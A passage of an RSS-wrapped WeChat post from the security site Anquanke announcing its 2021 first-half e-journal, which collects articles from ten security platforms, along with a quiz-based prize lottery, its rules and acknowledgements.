0px;line-height: 1;overflow-wrap: break-word !important;"><p data-darkmode-color-16262345379664="rgb(163, 163, 163)" data-darkmode-original-color-16262345379664="#fff|rgb(0, 0, 0)" style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;"><span data-darkmode-color-16262345379664="rgb(163, 163, 163)" data-darkmode-original-color-16262345379664="#fff|rgb(0, 0, 0)" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">亮点二</span></p></section></section><section powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: left;justify-content: flex-start;transform: translate3d(-24px, 0px, 0px);overflow-wrap: break-word !important;"><section data-darkmode-color-16262345379664="rgb(163, 163, 163)" data-darkmode-original-color-16262345379664="#fff|rgb(0, 0, 0)" data-style="font-family: Optima-Regular, PingFangTC-light; letter-spacing: 1px; color: rgb(0, 0, 0); box-sizing: border-box;" class="js_darkmode__14" style="max-width: 100%;box-sizing: border-box;color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;letter-spacing: 1px;overflow-wrap: break-word !important;"><p data-darkmode-color-16262345379664="rgb(163, 163, 163)" data-darkmode-original-color-16262345379664="#fff|rgb(0, 0, 0)" style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;">文章来源平台丰富</p></section></section></section></section></section></section><p><br/></p><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="margin: 5px 16px 10px;max-width: 100%;min-height: 1em;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">关于二进制和查户口的那些不得不说的事儿、银基安全、TSRC、网络安全观、蚂蚁安全实验室、云鼎实验室、RapidDNS、360CERT、先知社区、深信服千里目安全实验室共10家安全平台的优质技术文章，最终汇集成了安全客2021年电子刊（上）。</span></p><p style="margin: 5px 16px 10px;max-width: 100%;min-height: 1em;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></p><p><br/></p><section style="max-width: 100%;box-sizing: border-box;font-size: 16px;overflow-wrap: break-word !important;"><section powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: middle;width: auto;flex: 0 0 0%;height: auto;align-self: center;overflow-wrap: break-word !important;"><section powered-by="xiumi.us" style="margin-top: 10px;max-width: 100%;box-sizing: border-box;text-align: center;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16262345379664="rgb(217, 190, 118)" data-darkmode-original-bgcolor-16262345379664="#fff|rgb(255, 224, 139)" data-style="display: inline-block; width: 44px; height: 44px; vertical-align: top; overflow: hidden; border: 0px none rgb(0, 0, 0); border-top-left-radius: 52px; border-top-right-radius: 52px; border-bottom-right-radius: 52px; border-bottom-left-radius: 52px; background-color: rgb(255, 224, 139); box-sizing: border-box;" class="js_darkmode__15" style="max-width: 100%;box-sizing: border-box;background-color: rgb(255, 224, 139);border-width: 0px;border-style: none;border-color: rgb(0, 0, 0);display: inline-block;width: 44px;height: 44px;vertical-align: top;overflow: hidden;border-radius: 52px;overflow-wrap: break-word !important;color: rgb(25, 25, 25) !important;"><section data-darkmode-bgcolor-16262345379664="rgb(217, 190, 118)" data-darkmode-original-bgcolor-16262345379664="#fff|rgb(255, 224, 139)" style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;" data-darkmode-bgcolor-16262345379664="rgb(217, 190, 118)" data-darkmode-original-bgcolor-16262345379664="#fff|rgb(255, 224, 139)"></svg></section></section></section><section powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;transform: rotateZ(315deg);overflow-wrap: break-word !important;"><section style="margin-bottom: -10px;max-width: 100%;box-sizing: border-box;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;transform: translate3d(24px, 0px, 0px);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;display: inline-block;width: auto;vertical-align: top;flex: 0 0 0%;height: auto;border-top: 1px none rgba(255, 255, 255, 0);border-top-left-radius: 0px;align-self: flex-start;line-height: 0;overflow-wrap: break-word !important;"><section powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section data-style="display: inline-block; width: 0px; height: 0px; vertical-align: top; overflow: hidden; border-style: solid; border-width: 27px 27px 0px; border-color: rgb(238, 249, 248) rgba(255, 255, 255, 0) rgba(255, 255, 255, 0); box-sizing: border-box;" class="js_darkmode__16" style="max-width: 100%;box-sizing: border-box;border-color: rgb(238, 249, 248) rgba(255, 255, 255, 0) rgba(255, 255, 255, 0);display: inline-block;width: 0px;height: 0px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 27px 27px 0px;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section></section><section style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: middle;width: auto;min-width: 10%;flex: 0 0 auto;height: auto;align-self: center;overflow-wrap: break-word !important;"><section powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: left;justify-content: flex-start;transform: translate3d(-24px, 0px, 0px);overflow-wrap: break-word !important;"><section data-darkmode-color-16262345379664="rgb(163, 163, 163)" data-darkmode-original-color-16262345379664="#fff|rgb(0, 0, 0)" data-style="font-size: 12px; font-family: Optima-Regular, PingFangTC-light; letter-spacing: 0px; line-height: 1; color: rgb(0, 0, 0); box-sizing: border-box;" class="js_darkmode__17" style="max-width: 100%;box-sizing: border-box;color: rgb(0, 0, 0);font-size: 12px;font-family: Optima-Regular, PingFangTC-light;letter-spacing: 0px;line-height: 1;overflow-wrap: break-word !important;"><p data-darkmode-color-16262345379664="rgb(163, 163, 163)" data-darkmode-original-color-16262345379664="#fff|rgb(0, 0, 0)" style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;"><span data-darkmode-color-16262345379664="rgb(163, 163, 163)" data-darkmode-original-color-16262345379664="#fff|rgb(0, 0, 0)" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">亮点三</span></p></section></section><section powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: left;justify-content: flex-start;transform: translate3d(-24px, 0px, 0px);overflow-wrap: break-word !important;"><section data-darkmode-color-16262345379664="rgb(163, 163, 163)" data-darkmode-original-color-16262345379664="#fff|rgb(0, 0, 0)" data-style="font-family: Optima-Regular, PingFangTC-light; letter-spacing: 1px; color: rgb(0, 0, 0); box-sizing: border-box;" class="js_darkmode__18" style="max-width: 100%;box-sizing: border-box;color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;letter-spacing: 1px;overflow-wrap: break-word !important;"><p data-darkmode-color-16262345379664="rgb(163, 163, 163)" data-darkmode-original-color-16262345379664="#fff|rgb(0, 0, 0)" style="max-width: 100%;box-sizing: border-box;min-height: 1em;overflow-wrap: break-word !important;">答题抽奖礼品丰富</p></section></section></section></section></section></section><p><br/></p><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="margin: 5px 16px 10px;max-width: 100%;min-height: 1em;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">2021年电子刊（上）和大家见面之际，我们准备了</span><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-darkmode-color-16262345379664="rgb(184, 150, 176)" data-darkmode-original-color-16262345379664="#fff|rgb(203, 166, 195)" data-style="font-size: 15px; letter-spacing: 1px; color: rgb(203, 166, 195);" class="js_darkmode__19" style="max-width: 100%;color: rgb(203, 166, 195);font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">1000+份精美礼品</span></strong><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">，以答题抽奖方式送上。围观“非酋”小安的PS5抢购陪跑记，还能顺走一波奖品哦~</span></p><p><br/></p><section style="margin-right: 16px;margin-left: 16px;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.596875" data-s="300,640" style="border-width: 1px;border-style: solid;border-color: rgb(32, 32, 32);box-sizing: border-box !important;overflow-wrap: break-word !important;background-color: rgb(32, 32, 32) !important;background-size: 22px !important;height: 505.763px !important;width: 846px !important;background-position: center center !important;background-repeat: no-repeat !important;" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f9751855&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FOk4fxxCpBb728ZpsgUgOeI78v8skoBXntcVvibNbarlEfLvZI9eKqrjCfu86HpfAaSNGk69bRVHWC801M6ytcbQ%2F640%3Fwx_fmt%3Djpeg"/></section><section style="margin: 5px 16px 10px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img data-ratio="1.7777777777777777" width="602" data-type="jpeg" data-w="1080" height="1070" style="box-sizing: border-box;border-width: 1px;border-style: none;border-color: rgb(32, 32, 32);vertical-align: middle;display: block;overflow-wrap: break-word !important;background-color: rgb(32, 32, 32) !important;background-size: 22px !important;height: 1070.22px !important;width: 602px !important;background-position: center center !important;background-repeat: no-repeat !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=69325825&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FOk4fxxCpBb4JNRqRqSUC0XO1vnBNbGplzd6ic024vFlNqp9lX3Tt2SBBuGytgDGicmickXnn9QftkPalC8KCFCjVg%2F640%3Fwx_fmt%3Djpeg"/></section><section style="margin: 5px 16px 10px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">活动时间：</span><span data-darkmode-color-16262345379664="rgb(255, 104, 39)" data-darkmode-original-color-16262345379664="#fff|rgb(255, 104, 39)" style="max-width: 100%;font-size: 15px;letter-spacing: 1px;color: rgb(255, 104, 39);box-sizing: border-box !important;overflow-wrap: break-word !important;">7月13日11:00——7月15日18:00</span></section><section style="margin: 5px 16px 10px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">答题抽奖链接 </span></section><section style="margin: 5px 16px 10px;max-width: 100%;text-align: center;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="1" data-s="300,640" style="border-width: 1px;border-style: solid;border-color: rgb(32, 32, 32);box-sizing: border-box !important;overflow-wrap: break-word !important;background-color: rgb(32, 32, 32) !important;background-size: 22px !important;height: 143px !important;width: 143px !important;background-position: center center !important;background-repeat: no-repeat !important;" data-type="png" data-w="260" src="https://wechat2rss.xlab.app/img-proxy/?k=bf408e40&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOk4fxxCpBb4JNRqRqSUC0XO1vnBNbGplqdt2Ux0622bOTv4Wl3bHsIfwun678srAlkrkwqGeH7xpZX0Ciafsg4w%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin: 5px 16px 10px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">参与方式：我们为大家准备了10道脑洞大开的题目，</span><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-darkmode-color-16262345379664="rgb(184, 150, 176)" data-darkmode-original-color-16262345379664="#fff|rgb(203, 166, 195)" data-style="font-size: 15px; letter-spacing: 1px; color: rgb(203, 166, 195);" class="js_darkmode__20" style="max-width: 100%;color: rgb(203, 166, 195);font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">答对80分以上</span></strong><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">视为挑战成功，然后就可以开始抽奖啦！</span></section><section style="margin: 5px 16px 10px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></section><section style="margin: 5px 16px 10px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">注意事项</span></section><section style="margin: 5px 16px 10px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">1、活动期间每人每天有3次答题挑战机会！</span></section><section style="margin: 5px 16px 10px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">2、挑战成功后每天有3次抽奖机会！</span></section><section style="margin: 5px 16px 10px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">3、请注意一定要登录后答题才有效哦~</span></section><section style="margin: 5px 16px 10px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">4、中奖之后请务必填写收货地址，并注意确认后续官网公布的中奖名单，我们将在中奖名单公布后的10个工作日内将礼物寄出；</span></section><section style="margin: 5px 16px 10px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">5、中奖后不可重复参与抽奖，每个ID（或相同中奖地址）最多可获得一份礼物</span></section><section style="margin-right: 16px;margin-left: 16px;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages" data-ratio="0.5326732673267327" data-s="300,640" style="border-width: 1px;border-style: solid;border-color: rgb(32, 32, 32);box-sizing: border-box !important;overflow-wrap: break-word !important;background-color: rgb(32, 32, 32) !important;background-size: 22px !important;height: 126.113px !important;width: 235px !important;background-position: center center !important;background-repeat: no-repeat !important;" data-type="png" data-w="1010" src="https://wechat2rss.xlab.app/img-proxy/?k=abd1a5c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FOk4fxxCpBb4JNRqRqSUC0XO1vnBNbGplxz89qh29eJVLnicbicdBsyZQvCBsLI2TZ2XCPOR89TFo5Gj6BwMUvxGQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin: 5px 16px 10px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">6、获奖后可以在抽奖页面获取奖品信息，我们也会在活动结束后将中奖名单公布在官网电子刊活动文章中。</span><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="margin: 5px 16px 10px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">本次活动如有任何疑问，请联系工作人员邮箱</span><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">anquanke@360.cn </span><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">，更欢迎加入安全客官网交流7群：1048766049随时咨询管理员@安全客~</span></section><section style="margin: 5px 16px 10px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></section><p><br/></p><h2 name="h2-4" data-darkmode-color-16262345379664="rgb(255, 255, 255)" data-darkmode-original-color-16262345379664="#fff|rgb(255, 255, 255)" style="margin: 15px auto;font-size: 25px;max-width: 100%;box-sizing: border-box;text-align: center;letter-spacing: 2px;line-height: 1;color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span data-darkmode-color-16262345379664="rgb(255, 255, 255)" data-darkmode-original-color-16262345379664="#fff|rgb(255, 255, 255)" data-style="text-shadow: rgb(0, 0, 0) 1px 1px 0px, rgb(0, 0, 0) 1px -1px 0px, rgb(0, 0, 0) -1px 1px 0px, rgb(0, 0, 0) -1px -1px 0px, rgb(0, 0, 0) 0px 1.4px 0px, rgb(0, 0, 0) 0px -1.4px 0px, rgb(0, 0, 0) -1.4px 0px 0px, rgb(0, 0, 0) 1.4px 0px 0px, rgb(233, 190, 41) 0px 3px 0px, rgb(0, 0, 0) 1px 4px 0px, rgb(0, 0, 0) 1px 2px 0px, rgb(0, 0, 0) -1px 4px 0px, rgb(0, 0, 0) -1px 2px 0px, rgb(0, 0, 0) 0px 4.4px 0px, rgb(0, 0, 0) 0px 1.6px 0px, rgb(0, 0, 0) -1.4px 3px 0px, rgb(0, 0, 0) 1.4px 3px 0px; font-size: 16px;" class="js_darkmode__21" style="max-width: 100%;text-shadow: rgb(0, 0, 0) 1px 1px 0px, rgb(0, 0, 0) 1px -1px 0px, rgb(0, 0, 0) -1px 1px 0px, rgb(0, 0, 0) -1px -1px 0px, rgb(0, 0, 0) 0px 1.4px 0px, rgb(0, 0, 0) 0px -1.4px 0px, rgb(0, 0, 0) -1.4px 0px 0px, rgb(0, 0, 0) 1.4px 0px 0px, rgb(233, 190, 41) 0px 3px 0px, rgb(0, 0, 0) 1px 4px 0px, rgb(0, 0, 0) 1px 2px 0px, rgb(0, 0, 0) -1px 4px 0px, rgb(0, 0, 0) -1px 2px 0px, rgb(0, 0, 0) 0px 4.4px 0px, rgb(0, 0, 0) 0px 1.6px 0px, rgb(0, 0, 0) -1.4px 3px 0px, rgb(0, 0, 0) 1.4px 3px 0px;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-brushtype="text" hm_fix="312:355" data-darkmode-color-16262345379664="rgb(255, 255, 255)" data-darkmode-original-color-16262345379664="#fff|rgb(255, 255, 255)" style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">致谢</strong></span></h2><p><br/></p><section style="margin: 5px 16px 10px;max-width: 100%;text-align: left;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;letter-spacing: 1px;box-sizing: border-box !important;overflow-wrap: break-word !important;">安全客在此向为本书的文章筛选、编辑及传播作出贡献的合作平台、合作公司、合作媒体、合作团队以及合作安全会议表示深深的感谢 ！</span></section><section style="margin: 5px 16px 10px;max-width: 100%;text-align: center;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img data-ratio="1.9529569892473118" width="707" data-type="jpeg" data-w="744" height="1383" style="box-sizing: border-box;border-width: 1px;border-style: none;border-color: rgb(32, 32, 32);vertical-align: middle;display: block;overflow-wrap: break-word !important;background-color: rgb(32, 32, 32) !important;background-size: 22px !important;height: 1380.74px !important;width: 707px !important;background-position: center center !important;background-repeat: no-repeat !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=9ad0125a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FOk4fxxCpBb4JNRqRqSUC0XO1vnBNbGplklZKqMLZ0R7mEK5vUPIml72RaERn3J1NraTsIl7NQzm2l8PE9QnOYA%2F640%3Fwx_fmt%3Djpeg"/></section><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages" data-backh="381" data-backw="578" data-galleryid="" data-ratio="0.6588785046728972" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1284" src="https://wechat2rss.xlab.app/img-proxy/?k=d8ae5699&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUEhYuFeicWteWXX27jbJRFcQF70Avx6cHWamXoldSvLMgicVMibGooDWu06x6gjGUPjsPgPuWMMXiacg%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="https://www.anquanke.com/post/id/246512">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ca678861&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NDg4MTIxMw%3D%3D%26mid%3D2247486025%26idx%3D1%26sn%3D44f5ef4eb27284620410417fdc720c2f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 14 Jul 2021 12:12:00 +0800</pubDate>
    </item>
  </channel>
</rss>